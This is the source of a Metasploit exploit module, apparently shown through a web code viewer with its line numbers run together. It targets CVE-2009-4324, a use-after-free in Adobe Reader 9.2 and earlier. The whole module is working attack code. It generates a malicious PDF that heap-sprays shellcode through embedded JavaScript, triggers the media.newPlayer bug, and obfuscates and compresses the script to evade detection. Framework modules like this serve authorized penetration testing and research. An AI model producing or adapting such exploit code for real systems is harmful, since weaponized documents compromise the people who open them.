Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',15'Description' => %q{16This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat17Professional versions up to and including 9.2.18},19'License' => MSF_LICENSE,20'Author' =>21[22'unknown', # Found in the wild23# Metasploit version by:24'hdm',25'pusscat',26'jduck'27],28'References' =>29[30[ 'CVE', '2009-4324' ],31[ 'BID', '37331' ],32[ 'OSVDB', '60980' ]33],34'DefaultOptions' =>35{36'EXITFUNC' => 'process',37'DisablePayloadHandler' => true38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => "\x00",43'DisableNops' => true44},45'Platform' => 'win',46'Targets' =>47[48# test results (on Windows XP SP3)49# reader 6.0.1 - vulnerable / doesn't work50# reader 7.0.5 - untested51# reader 7.0.8 - untested52# reader 7.0.9 - vulnerable / doesn't work53# reader 7.1.0 - untested54# reader 7.1.1 - untested55# reader 8.0.0 - untested56# reader 8.1.1 - works57# reader 8.1.2 - untested58# reader 8.1.3 - untested59# reader 8.1.4 - untested60# reader 8.1.5 - untested61# reader 8.1.6 - untested62# reader 9.0.0 - untested63# reader 9.1.0 - works64# reader 9.2 - works (no debugger, no DEP)65[ 'Adobe Reader Windows English (JS Heap Spray)',66{67'Size' => (0x10000/2),68'Ret' => 0x0c0c0c0c,69}70],71[ 'Adobe Reader Windows German (JS Heap Spray)',72{73'Size' => (0x10000/2),74'Ret' => 0x0a0a0a0a,75}76],77],78'DisclosureDate' => '2009-12-14',79'DefaultTarget' => 0))8081register_options(82[83OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),84])8586end8788def exploit8990# Encode the shellcode.91shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))9293# Make some nops94nops = Rex::Text.to_unescape([target.ret].pack('V'))9596# Randomize variables97#98len = 7299rand1 = rand_text_alpha(rand(100) + 1)100rand2 = rand_text_alpha(rand(100) + 1)101rand3 = rand_text_alpha(rand(100) + 1)102rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')103rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')104105vtbuf = [target.ret].pack('V') * 4106vtbuf << rand_text_alpha(len - vtbuf.length)107vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')108retstring = Rex::Text.to_unescape(vtbuf)109110# The printd strings are 72 bytes (??)111script = %Q|112var #{rand1} = unescape("#{shellcode}");113var #{rand2} = unescape("#{nops}");114var #{rand3} = unescape("#{retstring}");115116while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};117#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);118119memory=new Array();120121for(i=0;i<0x2000;i++) {122memory[i]= #{rand2} + #{rand1};123}124125util.printd("#{rand4}", new Date());126util.printd("#{rand5}", new Date());127try {this.media.newPlayer(null);} catch(e) {}128util.printd(#{rand3}, new Date());129|130131# Create the pdf132pdf = make_pdf(script)133134print_status("Creating '#{datastore['FILENAME']}' file...")135136file_create(pdf)137138end139140141def random_non_ascii_string(count)142result = ""143count.times do144result << (rand(128) + 128).chr145end146result147end148149def io_def(id)150"%d 0 obj" % id151end152153def io_ref(id)154"%d 0 R" % id155end156157158#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/159def n_obfu(str)160result = ""161str.scan(/./u) do |c|162if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'163result << "#%x" % c.unpack("C*")[0]164else165result << c166end167end168result169end170171172def ascii_hex_whitespace_encode(str)173result = ""174whitespace = ""175str.each_byte do |b|176result << whitespace << "%02x" % b177whitespace = " " * (rand(3) + 1)178end179result << ">"180end181182183def make_pdf(js)184185xref = []186eol = "\x0d\x0a"187endobj = "endobj" << eol188189pdf = "%PDF-1.5" << eol190pdf << "%" << random_non_ascii_string(4) << eol191xref << pdf.length192pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj193xref << pdf.length194pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj195xref << pdf.length196pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj197xref << pdf.length198pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj199xref << pdf.length200pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj201xref << pdf.length202compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))203pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol204pdf << "stream" << eol205pdf << compressed << eol206pdf << "endstream" << eol207pdf << endobj208xrefPosition = pdf.length209pdf << "xref" << eol210pdf << "0 %d" % (xref.length + 1) << eol211pdf << "0000000000 65535 f" << eol212xref.each do |index|213pdf << "%010d 00000 n" % index << eol214end215pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol216pdf << "startxref" << eol217pdf << xrefPosition.to_s() << eol218pdf << "%%EOF" << eol219220end221end222223224